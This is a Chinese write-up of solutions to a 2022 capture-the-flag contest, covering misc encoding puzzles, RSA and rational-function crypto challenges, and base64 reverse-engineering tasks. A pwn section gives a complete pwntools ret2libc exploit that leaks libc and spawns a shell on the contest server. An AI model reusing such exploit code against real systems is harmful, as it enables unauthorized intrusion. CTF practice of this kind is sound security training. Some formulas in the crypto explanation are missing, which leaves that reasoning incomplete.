2022赣政杯 Writeup

Misc

Misc1

txt内容,列数有386列
在这里插入图片描述
很明显的零宽字符,直接解
在这里插入图片描述

flag{aeb7e93d-8e49-4977-a77d-d830b3e78da0}

Misc2

打开压缩包发现是一堆的emoji表情
在这里插入图片描述
在这里插入图片描述
emoji-aes解密
在这里插入图片描述
需要key,在压缩包中找到key:the_secret_key
在这里插入图片描述
解出以下表情包,看排列格式想到摩斯电码或者二进制排列,有空格,一般为摩斯电码
在这里插入图片描述
转换为莫斯电码格式:
在这里插入图片描述
uuid格式,空格替换为-

FLAG{b50CCDD34-F7CA-4DC6-A907-972C5C4501E8}

Ctypto

Ctypto1:

49855085318435073046330642940765872765304124335218589380541236963454814134003275484820248460762026800406968909612614387195725505599161732173392638922786803311634545787045750985305489377942134248021067866421562958650150294230888228985465349786699479689256807465768291737611710217406103274112513343522220579775846598432707064257755776968832655194007245146498098969678280994239966324629884465410583122858282366628813265851968510470965791399482347740834450388330114047756336958735465527462814834713103520953935529330042307850614270340063658350328792248313740537076253637843721024504644597206697381299557947444980226466873318668287989717967944585523926884053786776312597480545886246474490223835791688488128381319614090743542249712583034478626526803646151613891095908533705664756543044233211912755029579409820701593827537415071352230125454228067829708365542363728928615026085295070159189419017700579134399189094919696859791164271004180260539313586898823659478287374563448765508515448239946223017459137307294211786033013932581750061197281833829139141387627759828251411177434140137846483051746471223623874561111161396582813759688262897508032776273734870302625894327342010642833281804636297142996523583625528835539148769210703
16402842294493057983664243934220410367922940064827442432635311538480259276693509061580178099156672734935071591984975846251552151158996555441540673736782655511109689242530218909623902239361387976253099488694749080041058601946401795438420778732039723942603210906137778277751920492456089120157084624625689393856644681236531481555553310179396715881794304350662061591378357548647386383226829059901411963596970110005082851173119873959506608820974202852298513582148730122250099666503479885504873701010178419440534561313370798381801403824394868772907174238263809571599191928663819277131853753740167401508603150166842871600719845855581570148319435027636716776848101223730745987468157963881450392354186721122591613234449764063117158539030391228797346711154877572896981921225969509518759322541659341488322332946673447777165338449931340249620317959955132691469504297273159896092178954211618661250417995610050958199243935927131725491363126509229036071515630335776479789450713314042438409774423384617410164068629188030711022989650783699334538536380642780758730693752953836987618960789409525401409412421619923140599348899209332612164802489097000673103781114195396843813456784010847708400021027265621140506331350848438181967123625314

由题目可知是循环128次生成了 32 位素数并将它们相乘以产生用于 RSA 加密的模数。由于 32 位很小,我们可以n使用 sage 来分解,并且所有素数都是唯一的可能性很高(有很多 32 位素数),所以我们可以计算phi(n)为p_i - 1素数的乘积p_i,或者使用sage的totient的功能来解密。
sage脚本:

import libnum
import gmpy2

n = 49855085318435073046330642940765872765304124335218589380541236963454814134003275484820248460762026800406968909612614387195725505599161732173392638922786803311634545787045750985305489377942134248021067866421562958650150294230888228985465349786699479689256807465768291737611710217406103274112513343522220579775846598432707064257755776968832655194007245146498098969678280994239966324629884465410583122858282366628813265851968510470965791399482347740834450388330114047756336958735465527462814834713103520953935529330042307850614270340063658350328792248313740537076253637843721024504644597206697381299557947444980226466873318668287989717967944585523926884053786776312597480545886246474490223835791688488128381319614090743542249712583034478626526803646151613891095908533705664756543044233211912755029579409820701593827537415071352230125454228067829708365542363728928615026085295070159189419017700579134399189094919696859791164271004180260539313586898823659478287374563448765508515448239946223017459137307294211786033013932581750061197281833829139141387627759828251411177434140137846483051746471223623874561111161396582813759688262897508032776273734870302625894327342010642833281804636297142996523583625528835539148769210703
c = 16402842294493057983664243934220410367922940064827442432635311538480259276693509061580178099156672734935071591984975846251552151158996555441540673736782655511109689242530218909623902239361387976253099488694749080041058601946401795438420778732039723942603210906137778277751920492456089120157084624625689393856644681236531481555553310179396715881794304350662061591378357548647386383226829059901411963596970110005082851173119873959506608820974202852298513582148730122250099666503479885504873701010178419440534561313370798381801403824394868772907174238263809571599191928663819277131853753740167401508603150166842871600719845855581570148319435027636716776848101223730745987468157963881450392354186721122591613234449764063117158539030391228797346711154877572896981921225969509518759322541659341488322332946673447777165338449931340249620317959955132691469504297273159896092178954211618661250417995610050958199243935927131725491363126509229036071515630335776479789450713314042438409774423384617410164068629188030711022989650783699334538536380642780758730693752953836987618960789409525401409412421619923140599348899209332612164802489097000673103781114195396843813456784010847708400021027265621140506331350848438181967123625314
e = 65537

phi = 1
for i in factor(n):
phi *= i[0]-1
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(libnum.n2s(int(m)))

在这里插入图片描述

flag{d7ec0101f0d87bf4e7dd097205fd2e04}

Ctypto2

output.txt

p = 3194984946529517576623074200234946014168164205272620815161235399519719606884315059679688351630156726656139476261880683998464588759384965205345409962107767
C1 = (255573898199035041758965366038981084944157531399911657546492546433145386414968079402856253975194361011751146133423751388034343796045680531444243160752444*x + 2903815552142613054383579208402338539795913037192087937799264976572710846298203210386085195493581420468855607449914648116910772709084472519026435777636170)/(x + 2386683479870808801459935303369975419760291443763988239234510374382152688298962756930974138943582796452015141560932451900850718037631878185501679332085683)
C2 = (132377494416343006999975863569277589493418289854129016039518413763966765500976955235604047782115253235862592410665710097368078866567903025458054587345605*x + 1747644595793214356518694901929361859865467988580968186098568614375536195838520451868446204083724173193509104728376048358592847546643445182566589580577650)/(x + 2894641605792738933156836404900021526130503288556167018479410774304302335346335534666287744353802552093529238578190020705070270037282203986873569075466267)
cipher = 149af037d77a9412932b2c2eed330fd85b097f08fc389c8e515fed6994c9d2ee0130502048f7fe84518fba684a2b7eb3

task.py

from sage.all import *
from hashlib import sha256
from Crypto.Cipher import AES
from secret import flag

def pad(msg):
    return msg + bytes([0 for _ in range(16-len(msg)%16)])

def my_func(f, k):
    g = x
    while k > 0:
        if k % 2 == 1:
            g = f(g)
        k = k // 2
        f = f(f)
    return g

p = random_prime(2**512)
R = PolynomialRing(GF(p),'x')
x = R.gens()[0]

fa,fb,fc,fd = 114,514,1919,810
ga,gb,gc,gd = 33,44,5,21

f = (fa*x+fb)/(fc*x+fd)  
g = (ga*x+gb)/(gc*x+gd)

x0 = randint(0, 2**128)
x1 = randint(0, 2**128)
y0 = randint(0, 2**128)
y1 = randint(0, 2**128)

C1 = my_func(f, x0)(my_func(g, x1))
C2 = my_func(f, y0)(my_func(g, y1))
C = my_func(f, x0 + y0)(my_func(g, x1 + y1))(0)

IV_KEY = sha256(str(C).encode()).digest()
IV = IV_KEY[:16]
KEY = IV_KEY[16:]
aes = AES.new(key=KEY,mode=AES.MODE_CBC,IV=IV)

with open("output.txt", "w") as f:
    f.write("p = %s\n" % p)
    f.write("C1 = %s\n" % C1)
    f.write("C2 = %s\n" % C2)
    f.write("cipher = %s\n" % aes.encrypt(pad(flag)).hex())

这题的my_func(f,k)是用快速幂来计算 迭代函数的,即
题目本身就是选两个公开函数f,在Fp下的key exchange,然后从public key中求的shared secret
两边的Public key分别是 , ,shared secret 为 。
然后计算出g® = r,得出
除此之外还可以发现 的格式为:
其中b是一个常数,而a和x0有关。所以将r带入即可解出a,由此得出
然后由于有理函数可逆,计算
再由 计算出C(0)
解出C(0)

最后将C(0)进行sha256()加密,然后进行aes解密cipher即可得到flag
py脚本:

from Crypto.Cipher import AES
import binascii


c0 = 60758166664410599309225361879080100004096389127420990087382754102873745655502013444166498695929722450858470826222553796837297279135166502222591679952657
cipher = b'149af037d77a9412932b2c2eed330fd85b097f08fc389c8e515fed6994c9d2ee0130502048f7fe84518fba684a2b7eb3'
cipher1 = binascii.unhexlify(cipher)

IV_KEY = sha256(str(c0).encode()).digest()
IV = IV_KEY[:16]
KEY = IV_KEY[16:]

aes = AES.new(key=KEY,mode=AES.MODE_CBC,IV=IV)
print(aes.decrypt(cipher1))

在这里插入图片描述

flag{c2cf3f7a-757d-4089-ba8e-d50d795308a2}

Reverse

re1

apk逆出项目包
在这里插入图片描述
打开项目包中的文件,全局搜索整个app文件夹中所有文件,关键字flag,在libnavie-lib.so找到flag字段
在这里插入图片描述
直接base64解码失败,发现使用base64换表编码,使用base64换表进行解码,得到flag
在这里插入图片描述
base64换表脚本:
str1是要解密的代码
string1是改过之后的base64表

import base64
import string

str1 = "zMXHz3THyMq0ngrMotq4ogy2ntm2n2y4nZiWnJDImZnJnwm3nx0="

string1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

在这里插入图片描述

flag{abd44df9488f65367f872067b33c5c75}

re2

丢进ida中反编译,发现存在花指令
在这里插入图片描述

在ida中去除花指令,继续查看,发现还存在花指令
去除多个花指令后得到如下代码
在这里插入图片描述
经过代码分析,是base64换表
在这里插入图片描述

将换表后的密文进行解密,然后将解密后的值与0x01进行异或再减去3,最后将值转换为字符拼接起来即可得到flag
在这里插入图片描述

flag{388fe6da38dbdd1469d0c2e48c40d557}

Pwn

pwn1

在这里插入图片描述
在main函数中可以输入两次数字,可以导致变量覆盖,进而进行栈溢出,泄露libc地址,执行system即可获取shell
exp如下:

from pwn import *
# from LibcSearcher import *
context.log_level='debug'
debug = 0
file_name = './pwn'
libc_name = './libc-2.23.so'
ip = '111.74.9.131'
prot = '10503'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

def debug():
    gdb.attach(r)
    raw_input()


file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()

puts_plt = file.plt['puts']
puts_got = file.got['puts']
p_rdi = 0x00000000004007e3
start_addr = 0x0004005C0
ru("Hello\n")
sl("19")
sl("10000")
payload = "a"*0x28+p64(p_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
sl(payload)
libc_base = u64(r.recv(6)+"\x00\x00")-libc.symbols['puts']
li("libc_base",libc_base)
binsh =  libc_base+ 0x000000000018ce57 
system = libc_base + libc.symbols['system']
# debug()
ru("Hello\n")
sl("19")
sl("10000")
payload = "a"*0x28+p64(p_rdi)+p64(binsh)+p64(0x0400778)+p64(system)
sl(payload)

ri()

863b8f4bdb4d4c8e1d47248afd729a51

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值